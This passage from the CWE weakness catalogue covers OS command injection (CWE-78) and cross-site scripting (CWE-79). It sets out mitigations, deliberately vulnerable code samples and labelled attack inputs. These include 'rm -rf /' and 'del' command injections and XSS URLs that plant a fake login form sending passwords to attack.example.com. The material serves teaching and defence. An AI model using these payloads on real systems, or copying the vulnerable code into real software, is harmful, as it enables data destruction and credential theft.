Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy = Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design**Phase: Operation**

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Operation**Phase: Implementation**

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples**Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Example Language: PHP

(bad)

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The \$userName variable is not checked for malicious input. An attacker could set the \$userName variable to an arbitrary OS command such as:

Example Language:

(attack)

```
;rm -rf /
```

Which would result in \$command being:

Example Language:

(result)

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Example Language: Perl

(bad)

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}
```

Suppose an attacker provides a domain name like this:

Example Language:

(attack)

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

Example Language:

(result)

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3:

CWE Version 4.6**CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')**

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Example Language: Java

(bad)

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4:

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

Example Language: Java

(bad)

```
public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
        // ...
    }
    catch(Exception e) {...}
    return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(bad)

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    \"&c:\\util\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.\"", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-1999-0067 | Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067 |
| CVE-2001-1246 | Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246 |
| CVE-2002-0061 | Web server allows command execution using " " (pipe) character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0061 |
| CVE-2003-0041 | FTP client does not filter " " from filenames returned by the server, allowing for OS command injection. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0041 |
| CVE-2008-2575 | Shell metacharacters in a filename in a ZIP archive https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2575 |
| CVE-2002-1898 | Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1898 |
| CVE-2008-4304 | OS command injection through environment variable. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304 |
| CVE-2008-4796 | OS command injection through https:// URLs https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796 |
| CVE-2007-3572 | Chain: incomplete denylist for OS command injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572 |
| CVE-2012-1988 | Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1988 |

Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|--|--------------|-------------------|--|
| PLOVER | | | OS Command Injection |
| OWASP Top Ten 2007 | A3 | CWE More Specific | Malicious File Execution |
| OWASP Top Ten 2004 | A6 | CWE More Specific | Injection Flaws |

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID : 79

Status: Stable

Structure : Simple

Abstraction : Base

Description

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

- Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
- Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

- Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--|------|
| ChildOf |  | 74 | Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') | 130 |
| ParentOf |  | 80 | Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) | 167 |
| ParentOf |  | 81 | Improper Neutralization of Script in an Error Message Web Page | 169 |
| ParentOf |  | 83 | Improper Neutralization of Script in Attributes in a Web Page | 173 |
| ParentOf |  | 84 | Improper Neutralization of Encoded URI Schemes in a Web Page | 175 |
| ParentOf |  | 85 | Doubled Character XSS Manipulations | 177 |
| ParentOf |  | 86 | Improper Neutralization of Invalid Characters in Identifiers in Web Pages | 179 |
| ParentOf |  | 87 | Improper Neutralization of Alternate XSS Syntax | 181 |
| ParentOf |  | 692 | Incomplete Denylist to Cross-Site Scripting | 1382 |
| PeerOf |  | 352 | Cross-Site Request Forgery (CSRF) | 797 |
| PeerOf |  | 494 | Download of Code Without Integrity Check | 1086 |
| CanFollow |  | 113 | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') | 254 |
| CanFollow |  | 184 | Incomplete List of Disallowed Inputs | 432 |

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Often*)

Background Details

Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Alternate Terms

XSS : "XSS" is a common abbreviation for Cross-Site Scripting.

HTML Injection : "HTML injection" is used as a synonym of stored (Type 2) XSS.

CSS : In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|--|
| Access Control | Bypass Protection Mechanism | <p><i>The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.</i></p> |
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |

| Scope | Impact | Likelihood |
|--|---|------------|
| Confidentiality Availability | <i>In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.</i> | |
| Confidentiality Integrity Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data <i>The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</i> | |

Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness = Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness = Moderate

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phase: Implementation

Phase: Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as `src="XYZ"`) URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phase: Architecture and Design**Phase: Implementation**

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness = Limited

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers

often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not

address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

Example Language: PHP

(bad)

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so `$username` contains scripting syntax, such as

Example Language:

(attack)

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

Example Language:

(attack)

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input"
action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /
><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

Example Language:

(result)

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
  <form name="input" action="attack.example.com/stealPassword.php" method="post">
    Username: <input type="text" name="username" /><br/>
    Password: <input type="password" name="password" /><br/>
    <input type="submit" value="Login" />
  </form>
</div></div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

Example Language:

(attack)

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Example Language:

(attack)

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write("u003Cu0064u0069u0076u0020u0069u0064u003Du0022u0073

u0022u0073u0075u0062u006Du0069u0074u0022u0020u0076u0061u006C
u0075u0065u003Du0022u004Cu006Fu0067u0069u006Eu0022u0020u002Fu
u003Eu003Cu002Fu0066u006Fu0072u006Du003Eu003Cu002Fu0064u0069u0076u003Eu000D");</script>
```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2:

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, `eid`, from an HTTP request and displays it to the user.

Example Language: JSP

(bad)

```
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

Example Language: ASP.NET

(bad)

```
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

Example Language: JSP

(bad)

```
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
}%>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

Example Language: ASP.NET

(bad)

```
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4:

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

Example Language: PHP

(bad)

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s", "%s", "%s")', $username, crypt($password),
$fullName);
mysql_query($query);
/.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

Example Language: PHP

(bad)

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
```

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5:

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

Example Language: PHP

(bad)

```
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";
//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);
```

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

Example Language:

(attack)

```
<script>document.alert('Hacked');</script>
```

The raw contents of the message file would look like:

Example Language:

(result)

```
<script>document.alert('Hacked');</script> has logged in.
```

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2014-8958 | Admin GUI allows XSS through cookie. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8958 |
| CVE-2017-9764 | Web stats program allows XSS through crafted HTTP header. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9764 |
| CVE-2014-5198 | Web log analysis product allows XSS through crafted HTTP Referer header. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5198 |
| CVE-2008-5080 | Chain: protection mechanism failure allows XSS https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5080 |
| CVE-2006-4308 | Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308 |
| CVE-2007-5727 | Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727 |
| CVE-2008-5770 | Reflected XSS using the PATH_INFO in a URL https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5770 |
| CVE-2008-4730 | Reflected XSS not properly handled when generating an error message https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4730 |
| CVE-2008-5734 | Reflected XSS sent through email message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5734 |
| CVE-2008-0971 | Stored XSS in a security product. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0971 |
| CVE-2008-5249 | Stored XSS using a wiki page. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5249 |
| CVE-2006-3568 | Stored XSS in a guestbook application. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3568 |
| CVE-2006-3211 | Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3211 |
| CVE-2006-3295 | Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3295 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|---|-----|------|
| MemberOf | V | 635 | Weaknesses Originally Used by NVD from 2008 to 2016 | 635 | 2215 |

